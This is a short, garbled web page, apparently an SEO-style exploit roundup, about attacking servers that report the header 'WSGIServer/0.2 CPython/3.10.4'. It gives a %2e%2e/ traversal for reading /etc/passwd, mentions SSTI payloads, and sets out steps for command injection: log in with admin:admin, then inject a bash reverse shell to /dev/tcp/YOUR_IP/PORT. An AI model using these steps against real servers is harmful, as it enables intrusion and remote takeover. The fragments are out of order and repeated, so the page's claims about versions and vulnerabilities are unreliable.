Wsgiserver 0.2 Cpython 3.10.4 Exploit | Authentic & Updated
The following vulnerabilities are frequently encountered on servers reporting this header:
: Some implementations (like older versions of MkDocs) allowed attackers to bypass path validation to read sensitive system files (e.g., /etc/passwd ) by using sequences like %2e%2e/ [ 0.5.1 ]. wsgiserver 0.2 cpython 3.10.4 exploit
) allows remote attackers to execute arbitrary shell commands via the /run_command/ endpoint if login requirements are bypassed Exploit-DB Directory Traversal (CVE-2021-40978) built-in development server (often identifying as WSGIServer/0.2 If successful, the server responds with a 200
) is significant for exploitation because it dictates which "gadgets" are available for Remote Code Execution (RCE). Namespace Changes : In Python 3.10+, some internal attributes in __builtins__ __globals__ were relocated, requiring specific payloads for SSTI. Inject a payload (e
If successful, the server responds with a 200 OK and the contents of the /etc/passwd file. Additional Risks for WSGIServer 0.2
endpoint fails to sanitize input, allowing an attacker to inject shell commands into the project configuration. Log in (often using default credentials like admin:admin Navigate to a project's configuration page. Inject a payload (e.g., ; bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1 ) into a configuration field. Associated Vulnerabilities